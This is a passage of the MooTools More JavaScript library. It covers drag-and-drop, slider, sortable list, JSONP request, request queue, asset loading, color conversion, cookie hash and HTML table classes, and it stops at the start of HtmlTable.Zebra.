		} else {
			right += elementMargin.right;
			bottom += elementMargin.bottom;
		}

		if (element.getStyle('position') == 'relative'){
			var coords = element.getCoordinates(offsetParent);
			coords.left -= element.getStyle('left').toInt();
			coords.top -= element.getStyle('top').toInt();

			left -= coords.left;
			top -= coords.top;
			if (container.getStyle('position') != 'relative'){
				left += containerBorder.left;
				top += containerBorder.top;
			}
			right += elementMargin.left - coords.left;
			bottom += elementMargin.top - coords.top;

			if (container != offsetParent){
				left += containerMargin.left + offsetParentPadding.left;
				top += ((Browser.ie6 || Browser.ie7) ? 0 : containerMargin.top) + offsetParentPadding.top;
			}
		} else {
			left -= elementMargin.left;
			top -= elementMargin.top;
			if (container != offsetParent){
				left += containerCoordinates.left + containerBorder.left;
				top += containerCoordinates.top + containerBorder.top;
			}
		}

		return {
			x: [left, right],
			y: [top, bottom]
		};
	},

	getDroppableCoordinates: function(element){
		var position = element.getCoordinates();
		if (element.getStyle('position') == 'fixed'){
			var scroll = window.getScroll();
			position.left += scroll.x;
			position.right += scroll.x;
			position.top += scroll.y;
			position.bottom += scroll.y;
		}
		return position;
	},

	checkDroppables: function(){
		var overed = this.droppables.filter(function(el, i){
			el = this.positions ? this.positions[i] : this.getDroppableCoordinates(el);
			var now = this.mouse.now;
			return (now.x > el.left && now.x < el.right && now.y < el.bottom && now.y > el.top);
		}, this).getLast();

		if (this.overed != overed){
			if (this.overed) this.fireEvent('leave', [this.element, this.overed]);
			if (overed) this.fireEvent('enter', [this.element, overed]);
			this.overed = overed;
		}
	},

	drag: function(event){
		this.parent(event);
		if (this.options.checkDroppables && this.droppables.length) this.checkDroppables();
	},

	stop: function(event){
		this.checkDroppables();
		this.fireEvent('drop', [this.element, this.overed, event]);
		this.overed = null;
		return this.parent(event);
	}

});

Element.implement({

	makeDraggable: function(options){
		var drag = new Drag.Move(this, options);
		this.store('dragger', drag);
		return drag;
	}

});


/*
---

script: Slider.js

name: Slider

description: Class for creating horizontal and vertical slider controls.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Element.Dimensions
  - /Class.Binds
  - /Drag
  - /Element.Measure

provides: [Slider]

...
*/

var Slider = new Class({

	Implements: [Events, Options],

	Binds: ['clickedElement', 'draggedKnob', 'scrolledElement'],

	options: {/*
		onTick: function(intPosition){},
		onChange: function(intStep){},
		onComplete: function(strStep){},*/
		onTick: function(position){
			this.setKnobPosition(position);
		},
		initialStep: 0,
		snap: false,
		offset: 0,
		range: false,
		wheel: false,
		steps: 100,
		mode: 'horizontal'
	},

	initialize: function(element, knob, options){
		this.setOptions(options);
		options = this.options;
		this.element = document.id(element);
		knob = this.knob = document.id(knob);
		this.previousChange = this.previousEnd = this.step = -1;

		var limit = {},
			modifiers = {x: false, y: false};

		switch (options.mode){
			case 'vertical':
				this.axis = 'y';
				this.property = 'top';
				this.offset = 'offsetHeight';
				break;
			case 'horizontal':
				this.axis = 'x';
				this.property = 'left';
				this.offset = 'offsetWidth';
		}

		this.setSliderDimensions();
		this.setRange(options.range);

		if (knob.getStyle('position') == 'static') knob.setStyle('position', 'relative');
		knob.setStyle(this.property, -options.offset);
		modifiers[this.axis] = this.property;
		limit[this.axis] = [-options.offset, this.full - options.offset];

		var dragOptions = {
			snap: 0,
			limit: limit,
			modifiers: modifiers,
			onDrag: this.draggedKnob,
			onStart: this.draggedKnob,
			onBeforeStart: (function(){
				this.isDragging = true;
			}).bind(this),
			onCancel: function(){
				this.isDragging = false;
			}.bind(this),
			onComplete: function(){
				this.isDragging = false;
				this.draggedKnob();
				this.end();
			}.bind(this)
		};
		if (options.snap) this.setSnap(dragOptions);

		this.drag = new Drag(knob, dragOptions);
		this.attach();
		if (options.initialStep != null) this.set(options.initialStep);
	},

	attach: function(){
		this.element.addEvent('mousedown', this.clickedElement);
		if (this.options.wheel) this.element.addEvent('mousewheel', this.scrolledElement);
		this.drag.attach();
		return this;
	},

	detach: function(){
		this.element.removeEvent('mousedown', this.clickedElement)
			.removeEvent('mousewheel', this.scrolledElement);
		this.drag.detach();
		return this;
	},

	autosize: function(){
		this.setSliderDimensions()
			.setKnobPosition(this.toPosition(this.step));
		this.drag.options.limit[this.axis] = [-this.options.offset, this.full - this.options.offset];
		if (this.options.snap) this.setSnap();
		return this;
	},

	setSnap: function(options){
		if (!options) options = this.drag.options;
		options.grid = Math.ceil(this.stepWidth);
		options.limit[this.axis][1] = this.full;
		return this;
	},

	setKnobPosition: function(position){
		if (this.options.snap) position = this.toPosition(this.step);
		this.knob.setStyle(this.property, position);
		return this;
	},

	setSliderDimensions: function(){
		this.full = this.element.measure(function(){
			this.half = this.knob[this.offset] / 2;
			return this.element[this.offset] - this.knob[this.offset] + (this.options.offset * 2);
		}.bind(this));
		return this;
	},

	set: function(step){
		if (!((this.range > 0) ^ (step < this.min))) step = this.min;
		if (!((this.range > 0) ^ (step > this.max))) step = this.max;

		this.step = Math.round(step);
		return this.checkStep()
			.fireEvent('tick', this.toPosition(this.step))
			.end();
	},

	setRange: function(range, pos){
		this.min = Array.pick([range[0], 0]);
		this.max = Array.pick([range[1], this.options.steps]);
		this.range = this.max - this.min;
		this.steps = this.options.steps || this.full;
		this.stepSize = Math.abs(this.range) / this.steps;
		this.stepWidth = this.stepSize * this.full / Math.abs(this.range);
		if (range) this.set(Array.pick([pos, this.step]).floor(this.min).max(this.max));
		return this;
	},

	clickedElement: function(event){
		if (this.isDragging || event.target == this.knob) return;

		var dir = this.range < 0 ? -1 : 1,
			position = event.page[this.axis] - this.element.getPosition()[this.axis] - this.half;

		position = position.limit(-this.options.offset, this.full - this.options.offset);

		this.step = Math.round(this.min + dir * this.toStep(position));

		this.checkStep()
			.fireEvent('tick', position)
			.end();
	},

	scrolledElement: function(event){
		var mode = (this.options.mode == 'horizontal') ? (event.wheel < 0) : (event.wheel > 0);
		this.set(this.step + (mode ? -1 : 1) * this.stepSize);
		event.stop();
	},

	draggedKnob: function(){
		var dir = this.range < 0 ? -1 : 1,
			position = this.drag.value.now[this.axis];

		position = position.limit(-this.options.offset, this.full -this.options.offset);

		this.step = Math.round(this.min + dir * this.toStep(position));
		this.checkStep();
	},

	checkStep: function(){
		var step = this.step;
		if (this.previousChange != step){
			this.previousChange = step;
			this.fireEvent('change', step);
		}
		return this;
	},

	end: function(){
		var step = this.step;
		if (this.previousEnd !== step){
			this.previousEnd = step;
			this.fireEvent('complete', step + '');
		}
		return this;
	},

	toStep: function(position){
		var step = (position + this.options.offset) * this.stepSize / this.full * this.steps;
		return this.options.steps ? Math.round(step -= step % this.stepSize) : step;
	},

	toPosition: function(step){
		return (this.full * Math.abs(this.min - step)) / (this.steps * this.stepSize) - this.options.offset;
	}

});


/*
---

script: Sortables.js

name: Sortables

description: Class for creating a drag and drop sorting interface for lists of items.

license: MIT-style license

authors:
  - Tom Occhino

requires:
  - Core/Fx.Morph
  - /Drag.Move

provides: [Sortables]

...
*/

var Sortables = new Class({

	Implements: [Events, Options],

	options: {/*
		onSort: function(element, clone){},
		onStart: function(element, clone){},
		onComplete: function(element){},*/
		opacity: 1,
		clone: false,
		revert: false,
		handle: false,
		dragOptions: {}
	},

	initialize: function(lists, options){
		this.setOptions(options);

		this.elements = [];
		this.lists = [];
		this.idle = true;

		this.addLists($$(document.id(lists) || lists));

		if (!this.options.clone) this.options.revert = false;
		if (this.options.revert) this.effect = new Fx.Morph(null, Object.merge({
			duration: 250,
			link: 'cancel'
		}, this.options.revert));
	},

	attach: function(){
		this.addLists(this.lists);
		return this;
	},

	detach: function(){
		this.lists = this.removeLists(this.lists);
		return this;
	},

	addItems: function(){
		Array.flatten(arguments).each(function(element){
			this.elements.push(element);
			var start = element.retrieve('sortables:start', function(event){
				this.start.call(this, event, element);
			}.bind(this));
			(this.options.handle ? element.getElement(this.options.handle) || element : element).addEvent('mousedown', start);
		}, this);
		return this;
	},

	addLists: function(){
		Array.flatten(arguments).each(function(list){
			this.lists.include(list);
			this.addItems(list.getChildren());
		}, this);
		return this;
	},

	removeItems: function(){
		return $$(Array.flatten(arguments).map(function(element){
			this.elements.erase(element);
			var start = element.retrieve('sortables:start');
			(this.options.handle ? element.getElement(this.options.handle) || element : element).removeEvent('mousedown', start);

			return element;
		}, this));
	},

	removeLists: function(){
		return $$(Array.flatten(arguments).map(function(list){
			this.lists.erase(list);
			this.removeItems(list.getChildren());

			return list;
		}, this));
	},

	getClone: function(event, element){
		if (!this.options.clone) return new Element(element.tagName).inject(document.body);
		if (typeOf(this.options.clone) == 'function') return this.options.clone.call(this, event, element, this.list);
		var clone = element.clone(true).setStyles({
			margin: 0,
			position: 'absolute',
			visibility: 'hidden',
			width: element.getStyle('width')
		}).addEvent('mousedown', function(event){
			element.fireEvent('mousedown', event);
		});
		//prevent the duplicated radio inputs from unchecking the real one
		if (clone.get('html').test('radio')){
			clone.getElements('input[type=radio]').each(function(input, i){
				input.set('name', 'clone_' + i);
				if (input.get('checked')) element.getElements('input[type=radio]')[i].set('checked', true);
			});
		}

		return clone.inject(this.list).setPosition(element.getPosition(element.getOffsetParent()));
	},

	getDroppables: function(){
		var droppables = this.list.getChildren().erase(this.clone).erase(this.element);
		if (!this.options.constrain) droppables.append(this.lists).erase(this.list);
		return droppables;
	},

	insert: function(dragging, element){
		var where = 'inside';
		if (this.lists.contains(element)){
			this.list = element;
			this.drag.droppables = this.getDroppables();
		} else {
			where = this.element.getAllPrevious().contains(element) ? 'before' : 'after';
		}
		this.element.inject(element, where);
		this.fireEvent('sort', [this.element, this.clone]);
	},

	start: function(event, element){
		if (
			!this.idle ||
			event.rightClick ||
			['button', 'input', 'a', 'textarea'].contains(event.target.get('tag'))
		) return;

		this.idle = false;
		this.element = element;
		this.opacity = element.getStyle('opacity');
		this.list = element.getParent();
		this.clone = this.getClone(event, element);

		this.drag = new Drag.Move(this.clone, Object.merge({
			
			droppables: this.getDroppables()
		}, this.options.dragOptions)).addEvents({
			onSnap: function(){
				event.stop();
				this.clone.setStyle('visibility', 'visible');
				this.element.setStyle('opacity', this.options.opacity || 0);
				this.fireEvent('start', [this.element, this.clone]);
			}.bind(this),
			onEnter: this.insert.bind(this),
			onCancel: this.end.bind(this),
			onComplete: this.end.bind(this)
		});

		this.clone.inject(this.element, 'before');
		this.drag.start(event);
	},

	end: function(){
		this.drag.detach();
		this.element.setStyle('opacity', this.opacity);
		if (this.effect){
			var dim = this.element.getStyles('width', 'height'),
				clone = this.clone,
				pos = clone.computePosition(this.element.getPosition(this.clone.getOffsetParent()));

			var destroy = function(){
				this.removeEvent('cancel', destroy);
				clone.destroy();
			};

			this.effect.element = clone;
			this.effect.start({
				top: pos.top,
				left: pos.left,
				width: dim.width,
				height: dim.height,
				opacity: 0.25
			}).addEvent('cancel', destroy).chain(destroy);
		} else {
			this.clone.destroy();
		}
		this.reset();
	},

	reset: function(){
		this.idle = true;
		this.fireEvent('complete', this.element);
	},

	serialize: function(){
		var params = Array.link(arguments, {
			modifier: Type.isFunction,
			index: function(obj){
				return obj != null;
			}
		});
		var serial = this.lists.map(function(list){
			return list.getChildren().map(params.modifier || function(element){
				return element.get('id');
			}, this);
		}, this);

		var index = params.index;
		if (this.lists.length == 1) index = 0;
		return (index || index === 0) && index >= 0 && index < this.lists.length ? serial[index] : serial;
	}

});


/*
---

script: Request.JSONP.js

name: Request.JSONP

description: Defines Request.JSONP, a class for cross domain javascript via script injection.

license: MIT-style license

authors:
  - Aaron Newton
  - Guillermo Rauch
  - Arian Stolwijk

requires:
  - Core/Element
  - Core/Request
  - MooTools.More

provides: [Request.JSONP]

...
*/

Request.JSONP = new Class({

	Implements: [Chain, Events, Options],

	options: {/*
		onRequest: function(src, scriptElement){},
		onComplete: function(data){},
		onSuccess: function(data){},
		onCancel: function(){},
		onTimeout: function(){},
		onError: function(){}, */
		onRequest: function(src){
			if (this.options.log && window.console && console.log){
				console.log('JSONP retrieving script with url:' + src);
			}
		},
		onError: function(src){
			if (this.options.log && window.console && console.warn){
				console.warn('JSONP '+ src +' will fail in Internet Explorer, which enforces a 2083 bytes length limit on URIs');
			}
		},
		url: '',
		callbackKey: 'callback',
		injectScript: document.head,
		data: '',
		link: 'ignore',
		timeout: 0,
		log: false
	},

	initialize: function(options){
		this.setOptions(options);
	},

	send: function(options){
		if (!Request.prototype.check.call(this, options)) return this;
		this.running = true;

		var type = typeOf(options);
		if (type == 'string' || type == 'element') options = {data: options};
		options = Object.merge(this.options, options || {});

		var data = options.data;
		switch (typeOf(data)){
			case 'element': data = document.id(data).toQueryString(); break;
			case 'object': case 'hash': data = Object.toQueryString(data);
		}

		var index = this.index = Request.JSONP.counter++;

		var src = options.url +
			(options.url.test('\\?') ? '&' :'?') +
			(options.callbackKey) +
			'=Request.JSONP.request_map.request_'+ index +
			(data ? '&' + data : '');

		if (src.length > 2083) this.fireEvent('error', src);

		Request.JSONP.request_map['request_' + index] = function(){
			this.success(arguments, index);
		}.bind(this);

		var script = this.getScript(src).inject(options.injectScript);
		this.fireEvent('request', [src, script]);

		if (options.timeout) this.timeout.delay(options.timeout, this);

		return this;
	},

	getScript: function(src){
		if (!this.script) this.script = new Element('script', {
			type: 'text/javascript',
			async: true,
			src: src
		});
		return this.script;
	},

	success: function(args, index){
		if (!this.running) return;
		this.clear()
			.fireEvent('complete', args).fireEvent('success', args)
			.callChain();
	},

	cancel: function(){
		if (this.running) this.clear().fireEvent('cancel');
		return this;
	},

	isRunning: function(){
		return !!this.running;
	},

	clear: function(){
		this.running = false;
		if (this.script){
			this.script.destroy();
			this.script = null;
		}
		return this;
	},

	timeout: function(){
		if (this.running){
			this.running = false;
			this.fireEvent('timeout', [this.script.get('src'), this.script]).fireEvent('failure').cancel();
		}
		return this;
	}

});

Request.JSONP.counter = 0;
Request.JSONP.request_map = {};


/*
---

script: Request.Queue.js

name: Request.Queue

description: Controls several instances of Request and its variants to run only one request at a time.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Element
  - Core/Request
  - /Class.Binds

provides: [Request.Queue]

...
*/

Request.Queue = new Class({

	Implements: [Options, Events],

	Binds: ['attach', 'request', 'complete', 'cancel', 'success', 'failure', 'exception'],

	options: {/*
		onRequest: function(argsPassedToOnRequest){},
		onSuccess: function(argsPassedToOnSuccess){},
		onComplete: function(argsPassedToOnComplete){},
		onCancel: function(argsPassedToOnCancel){},
		onException: function(argsPassedToOnException){},
		onFailure: function(argsPassedToOnFailure){},
		onEnd: function(){},
		*/
		stopOnFailure: true,
		autoAdvance: true,
		concurrent: 1,
		requests: {}
	},

	initialize: function(options){
		var requests;
		if (options){
			requests = options.requests;
			delete options.requests;
		}
		this.setOptions(options);
		this.requests = {};
		this.queue = [];
		this.reqBinders = {};

		if (requests) this.addRequests(requests);
	},

	addRequest: function(name, request){
		this.requests[name] = request;
		this.attach(name, request);
		return this;
	},

	addRequests: function(obj){
		Object.each(obj, function(req, name){
			this.addRequest(name, req);
		}, this);
		return this;
	},

	getName: function(req){
		return Object.keyOf(this.requests, req);
	},

	attach: function(name, req){
		if (req._groupSend) return this;
		['request', 'complete', 'cancel', 'success', 'failure', 'exception'].each(function(evt){
			if (!this.reqBinders[name]) this.reqBinders[name] = {};
			this.reqBinders[name][evt] = function(){
				this['on' + evt.capitalize()].apply(this, [name, req].append(arguments));
			}.bind(this);
			req.addEvent(evt, this.reqBinders[name][evt]);
		}, this);
		req._groupSend = req.send;
		req.send = function(options){
			this.send(name, options);
			return req;
		}.bind(this);
		return this;
	},

	removeRequest: function(req){
		var name = typeOf(req) == 'object' ? this.getName(req) : req;
		if (!name && typeOf(name) != 'string') return this;
		req = this.requests[name];
		if (!req) return this;
		['request', 'complete', 'cancel', 'success', 'failure', 'exception'].each(function(evt){
			req.removeEvent(evt, this.reqBinders[name][evt]);
		}, this);
		req.send = req._groupSend;
		delete req._groupSend;
		return this;
	},

	getRunning: function(){
		return Object.filter(this.requests, function(r){
			return r.running;
		});
	},

	isRunning: function(){
		return !!(Object.keys(this.getRunning()).length);
	},

	send: function(name, options){
		var q = function(){
			this.requests[name]._groupSend(options);
			this.queue.erase(q);
		}.bind(this);

		q.name = name;
		if (Object.keys(this.getRunning()).length >= this.options.concurrent || (this.error && this.options.stopOnFailure)) this.queue.push(q);
		else q();
		return this;
	},

	hasNext: function(name){
		return (!name) ? !!this.queue.length : !!this.queue.filter(function(q){ return q.name == name; }).length;
	},

	resume: function(){
		this.error = false;
		(this.options.concurrent - Object.keys(this.getRunning()).length).times(this.runNext, this);
		return this;
	},

	runNext: function(name){
		if (!this.queue.length) return this;
		if (!name){
			this.queue[0]();
		} else {
			var found;
			this.queue.each(function(q){
				if (!found && q.name == name){
					found = true;
					q();
				}
			});
		}
		return this;
	},

	runAll: function(){
		this.queue.each(function(q){
			q();
		});
		return this;
	},

	clear: function(name){
		if (!name){
			this.queue.empty();
		} else {
			this.queue = this.queue.map(function(q){
				if (q.name != name) return q;
				else return false;
			}).filter(function(q){
				return q;
			});
		}
		return this;
	},

	cancel: function(name){
		this.requests[name].cancel();
		return this;
	},

	onRequest: function(){
		this.fireEvent('request', arguments);
	},

	onComplete: function(){
		this.fireEvent('complete', arguments);
		if (!this.queue.length) this.fireEvent('end');
	},

	onCancel: function(){
		if (this.options.autoAdvance && !this.error) this.runNext();
		this.fireEvent('cancel', arguments);
	},

	onSuccess: function(){
		if (this.options.autoAdvance && !this.error) this.runNext();
		this.fireEvent('success', arguments);
	},

	onFailure: function(){
		this.error = true;
		if (!this.options.stopOnFailure && this.options.autoAdvance) this.runNext();
		this.fireEvent('failure', arguments);
	},

	onException: function(){
		this.error = true;
		if (!this.options.stopOnFailure && this.options.autoAdvance) this.runNext();
		this.fireEvent('exception', arguments);
	}

});


/*
---

script: Request.Periodical.js

name: Request.Periodical

description: Requests the same URL to pull data from a server but increases the intervals if no data is returned to reduce the load

license: MIT-style license

authors:
  - Christoph Pojer

requires:
  - Core/Request
  - /MooTools.More

provides: [Request.Periodical]

...
*/

Request.implement({

	options: {
		initialDelay: 5000,
		delay: 5000,
		limit: 60000
	},

	startTimer: function(data){
		var fn = function(){
			if (!this.running) this.send({data: data});
		};
		this.lastDelay = this.options.initialDelay;
		this.timer = fn.delay(this.lastDelay, this);
		this.completeCheck = function(response){
			clearTimeout(this.timer);
			this.lastDelay = (response) ? this.options.delay : (this.lastDelay + this.options.delay).min(this.options.limit);
			this.timer = fn.delay(this.lastDelay, this);
		};
		return this.addEvent('complete', this.completeCheck);
	},

	stopTimer: function(){
		clearTimeout(this.timer);
		return this.removeEvent('complete', this.completeCheck);
	}

});


/*
---

script: Assets.js

name: Assets

description: Provides methods to dynamically load JavaScript, CSS, and Image files into the document.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Element.Event
  - /MooTools.More

provides: [Assets]

...
*/

var Asset = {

	javascript: function(source, properties){
		if (!properties) properties = {};

		var script = new Element('script', {src: source, type: 'text/javascript'}),
			doc = properties.document || document,
			load = properties.onload || properties.onLoad;

		delete properties.onload;
		delete properties.onLoad;
		delete properties.document;

		if (load){
			if (typeof script.onreadystatechange != 'undefined'){
				script.addEvent('readystatechange', function(){
					if (['loaded', 'complete'].contains(this.readyState)) load.call(this);
				});
			} else {
				script.addEvent('load', load);
			}
		}

		return script.set(properties).inject(doc.head);
	},

	css: function(source, properties){
		if (!properties) properties = {};

		var link = new Element('link', {
			rel: 'stylesheet',
			media: 'screen',
			type: 'text/css',
			href: source
		});

		var load = properties.onload || properties.onLoad,
			doc = properties.document || document;

		delete properties.onload;
		delete properties.onLoad;
		delete properties.document;

		if (load) link.addEvent('load', load);
		return link.set(properties).inject(doc.head);
	},

	image: function(source, properties){
		if (!properties) properties = {};

		var image = new Image(),
			element = document.id(image) || new Element('img');

		['load', 'abort', 'error'].each(function(name){
			var type = 'on' + name,
				cap = 'on' + name.capitalize(),
				event = properties[type] || properties[cap] || function(){};

			delete properties[cap];
			delete properties[type];

			image[type] = function(){
				if (!image) return;
				if (!element.parentNode){
					element.width = image.width;
					element.height = image.height;
				}
				image = image.onload = image.onabort = image.onerror = null;
				event.delay(1, element, element);
				element.fireEvent(name, element, 1);
			};
		});

		image.src = element.src = source;
		if (image && image.complete) image.onload.delay(1);
		return element.set(properties);
	},

	images: function(sources, options){
		sources = Array.from(sources);

		var fn = function(){},
			counter = 0;

		options = Object.merge({
			onComplete: fn,
			onProgress: fn,
			onError: fn,
			properties: {}
		}, options);

		return new Elements(sources.map(function(source, index){
			return Asset.image(source, Object.append(options.properties, {
				onload: function(){
					counter++;
					options.onProgress.call(this, counter, index, source);
					if (counter == sources.length) options.onComplete();
				},
				onerror: function(){
					counter++;
					options.onError.call(this, counter, index, source);
					if (counter == sources.length) options.onComplete();
				}
			}));
		}));
	}

};


/*
---

script: Color.js

name: Color

description: Class for creating and manipulating colors in JavaScript. Supports HSB -> RGB Conversions and vice versa.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Array
  - Core/String
  - Core/Number
  - Core/Hash
  - Core/Function
  - MooTools.More

provides: [Color]

...
*/

(function(){

var Color = this.Color = new Type('Color', function(color, type){
	if (arguments.length >= 3){
		type = 'rgb'; color = Array.slice(arguments, 0, 3);
	} else if (typeof color == 'string'){
		if (color.match(/rgb/)) color = color.rgbToHex().hexToRgb(true);
		else if (color.match(/hsb/)) color = color.hsbToRgb();
		else color = color.hexToRgb(true);
	}
	type = type || 'rgb';
	switch (type){
		case 'hsb':
			var old = color;
			color = color.hsbToRgb();
			color.hsb = old;
		break;
		case 'hex': color = color.hexToRgb(true); break;
	}
	color.rgb = color.slice(0, 3);
	color.hsb = color.hsb || color.rgbToHsb();
	color.hex = color.rgbToHex();
	return Object.append(color, this);
});

Color.implement({

	mix: function(){
		var colors = Array.slice(arguments);
		var alpha = (typeOf(colors.getLast()) == 'number') ? colors.pop() : 50;
		var rgb = this.slice();
		colors.each(function(color){
			color = new Color(color);
			for (var i = 0; i < 3; i++) rgb[i] = Math.round((rgb[i] / 100 * (100 - alpha)) + (color[i] / 100 * alpha));
		});
		return new Color(rgb, 'rgb');
	},

	invert: function(){
		return new Color(this.map(function(value){
			return 255 - value;
		}));
	},

	setHue: function(value){
		return new Color([value, this.hsb[1], this.hsb[2]], 'hsb');
	},

	setSaturation: function(percent){
		return new Color([this.hsb[0], percent, this.hsb[2]], 'hsb');
	},

	setBrightness: function(percent){
		return new Color([this.hsb[0], this.hsb[1], percent], 'hsb');
	}

});

this.$RGB = function(r, g, b){
	return new Color([r, g, b], 'rgb');
};

this.$HSB = function(h, s, b){
	return new Color([h, s, b], 'hsb');
};

this.$HEX = function(hex){
	return new Color(hex, 'hex');
};

Array.implement({

	rgbToHsb: function(){
		var red = this[0],
				green = this[1],
				blue = this[2],
				hue = 0;
		var max = Math.max(red, green, blue),
				min = Math.min(red, green, blue);
		var delta = max - min;
		var brightness = max / 255,
				saturation = (max != 0) ? delta / max : 0;
		if (saturation != 0){
			var rr = (max - red) / delta;
			var gr = (max - green) / delta;
			var br = (max - blue) / delta;
			if (red == max) hue = br - gr;
			else if (green == max) hue = 2 + rr - br;
			else hue = 4 + gr - rr;
			hue /= 6;
			if (hue < 0) hue++;
		}
		return [Math.round(hue * 360), Math.round(saturation * 100), Math.round(brightness * 100)];
	},

	hsbToRgb: function(){
		var br = Math.round(this[2] / 100 * 255);
		if (this[1] == 0){
			return [br, br, br];
		} else {
			var hue = this[0] % 360;
			var f = hue % 60;
			var p = Math.round((this[2] * (100 - this[1])) / 10000 * 255);
			var q = Math.round((this[2] * (6000 - this[1] * f)) / 600000 * 255);
			var t = Math.round((this[2] * (6000 - this[1] * (60 - f))) / 600000 * 255);
			switch (Math.floor(hue / 60)){
				case 0: return [br, t, p];
				case 1: return [q, br, p];
				case 2: return [p, br, t];
				case 3: return [p, q, br];
				case 4: return [t, p, br];
				case 5: return [br, p, q];
			}
		}
		return false;
	}

});

String.implement({

	rgbToHsb: function(){
		var rgb = this.match(/\d{1,3}/g);
		return (rgb) ? rgb.rgbToHsb() : null;
	},

	hsbToRgb: function(){
		var hsb = this.match(/\d{1,3}/g);
		return (hsb) ? hsb.hsbToRgb() : null;
	}

});

})();



/*
---

script: Group.js

name: Group

description: Class for monitoring collections of events

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Events
  - /MooTools.More

provides: [Group]

...
*/

(function(){

this.Group = new Class({

	initialize: function(){
		this.instances = Array.flatten(arguments);
	},

	addEvent: function(type, fn){
		var instances = this.instances,
			len = instances.length,
			togo = len,
			args = new Array(len),
			self = this;

		instances.each(function(instance, i){
			instance.addEvent(type, function(){
				if (!args[i]) togo--;
				args[i] = arguments;
				if (!togo){
					fn.call(self, instances, instance, args);
					togo = len;
					args = new Array(len);
				}
			});
		});
	}

});

})();


/*
---

script: Hash.Cookie.js

name: Hash.Cookie

description: Class for creating, reading, and deleting Cookies in JSON format.

license: MIT-style license

authors:
  - Valerio Proietti
  - Aaron Newton

requires:
  - Core/Cookie
  - Core/JSON
  - /MooTools.More
  - /Hash

provides: [Hash.Cookie]

...
*/

Hash.Cookie = new Class({

	Extends: Cookie,

	options: {
		autoSave: true
	},

	initialize: function(name, options){
		this.parent(name, options);
		this.load();
	},

	save: function(){
		var value = JSON.encode(this.hash);
		if (!value || value.length > 4096) return false; //cookie would be truncated!
		if (value == '{}') this.dispose();
		else this.write(value);
		return true;
	},

	load: function(){
		this.hash = new Hash(JSON.decode(this.read(), true));
		return this;
	}

});

Hash.each(Hash.prototype, function(method, name){
	if (typeof method == 'function') Hash.Cookie.implement(name, function(){
		var value = method.apply(this.hash, arguments);
		if (this.options.autoSave) this.save();
		return value;
	});
});


/*
---
name: Table
description: LUA-Style table implementation.
license: MIT-style license
authors:
  - Valerio Proietti
requires: [Core/Array]
provides: [Table]
...
*/

(function(){

var Table = this.Table = function(){

	this.length = 0;
	var keys = [],
	    values = [];
	
	this.set = function(key, value){
		var index = keys.indexOf(key);
		if (index == -1){
			var length = keys.length;
			keys[length] = key;
			values[length] = value;
			this.length++;
		} else {
			values[index] = value;
		}
		return this;
	};

	this.get = function(key){
		var index = keys.indexOf(key);
		return (index == -1) ? null : values[index];
	};

	this.erase = function(key){
		var index = keys.indexOf(key);
		if (index != -1){
			this.length--;
			keys.splice(index, 1);
			return values.splice(index, 1)[0];
		}
		return null;
	};

	this.each = this.forEach = function(fn, bind){
		for (var i = 0, l = this.length; i < l; i++) fn.call(bind, keys[i], values[i], this);
	};
	
};

if (this.Type) new Type('Table', Table);

})();


/*
---

script: HtmlTable.js

name: HtmlTable

description: Builds table elements with methods to add rows.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Options
  - Core/Events
  - /Class.Occlude

provides: [HtmlTable]

...
*/

var HtmlTable = new Class({

	Implements: [Options, Events, Class.Occlude],

	options: {
		properties: {
			cellpadding: 0,
			cellspacing: 0,
			border: 0
		},
		rows: [],
		headers: [],
		footers: []
	},

	property: 'HtmlTable',

	initialize: function(){
		var params = Array.link(arguments, {options: Type.isObject, table: Type.isElement, id: Type.isString});
		this.setOptions(params.options);
		if (!params.table && params.id) params.table = document.id(params.id);
		this.element = params.table || new Element('table', this.options.properties);
		if (this.occlude()) return this.occluded;
		this.build();
	},

	build: function(){
		this.element.store('HtmlTable', this);

		this.body = document.id(this.element.tBodies[0]) || new Element('tbody').inject(this.element);
		$$(this.body.rows);

		if (this.options.headers.length) this.setHeaders(this.options.headers);
		else this.thead = document.id(this.element.tHead);

		if (this.thead) this.head = this.getHead();
		if (this.options.footers.length) this.setFooters(this.options.footers);

		this.tfoot = document.id(this.element.tFoot);
		if (this.tfoot) this.foot = document.id(this.tfoot.rows[0]);

		this.options.rows.each(function(row){
			this.push(row);
		}, this);
	},

	toElement: function(){
		return this.element;
	},

	empty: function(){
		this.body.empty();
		return this;
	},

	set: function(what, items){
		var target = (what == 'headers') ? 'tHead' : 'tFoot',
			lower = target.toLowerCase();

		this[lower] = (document.id(this.element[target]) || new Element(lower).inject(this.element, 'top')).empty();
		var data = this.push(items, {}, this[lower], what == 'headers' ? 'th' : 'td');

		if (what == 'headers') this.head = this.getHead();
		else this.foot = this.getHead();

		return data;
	},

	getHead: function(){
		var rows = this.thead.rows;
		return rows.length > 1 ? $$(rows) : rows.length ? document.id(rows[0]) : false;
	},

	setHeaders: function(headers){
		this.set('headers', headers);
		return this;
	},

	setFooters: function(footers){
		this.set('footers', footers);
		return this;
	},

	update: function(tr, row, tag){
		var tds = tr.getChildren(tag || 'td'), last = tds.length - 1;

		row.each(function(data, index){
			var td = tds[index] || new Element(tag || 'td').inject(tr),
				content = (data ? data.content : '') || data,
				type = typeOf(content);

			if (data && data.properties) td.set(data.properties);
			if (/(element(s?)|array|collection)/.test(type)) td.empty().adopt(content);
			else td.set('html', content);

			if (index > last) tds.push(td);
			else tds[index] = td;
		});

		return {
			tr: tr,
			tds: tds
		};
	},

	push: function(row, rowProperties, target, tag, where){
		if (typeOf(row) == 'element' && row.get('tag') == 'tr'){
			row.inject(target || this.body, where);
			return {
				tr: row,
				tds: row.getChildren('td')
			};
		}
		return this.update(new Element('tr', rowProperties).inject(target || this.body, where), row, tag);
	},

	pushMany: function(rows, rowProperties, target, tag, where){
		return rows.map(function(row){
			return this.push(row, rowProperties, target, tag, where);
		}, this);
	}

});


['adopt', 'inject', 'wraps', 'grab', 'replaces', 'dispose'].each(function(method){
	HtmlTable.implement(method, function(){
		this.element[method].apply(this.element, arguments);
		return this;
	});
});




/*
---

script: HtmlTable.Zebra.js

name: HtmlTable.Zebra

description: Builds a stripy table with methods to add rows.

license: MIT-style license

authors:
  - Harald Kirschner
  - Aaron Newton

requires:
  - /HtmlTable
  - /Element.Shortcuts
  - /Class.refactor

provides: [HtmlTable.Zebra]

...
*/

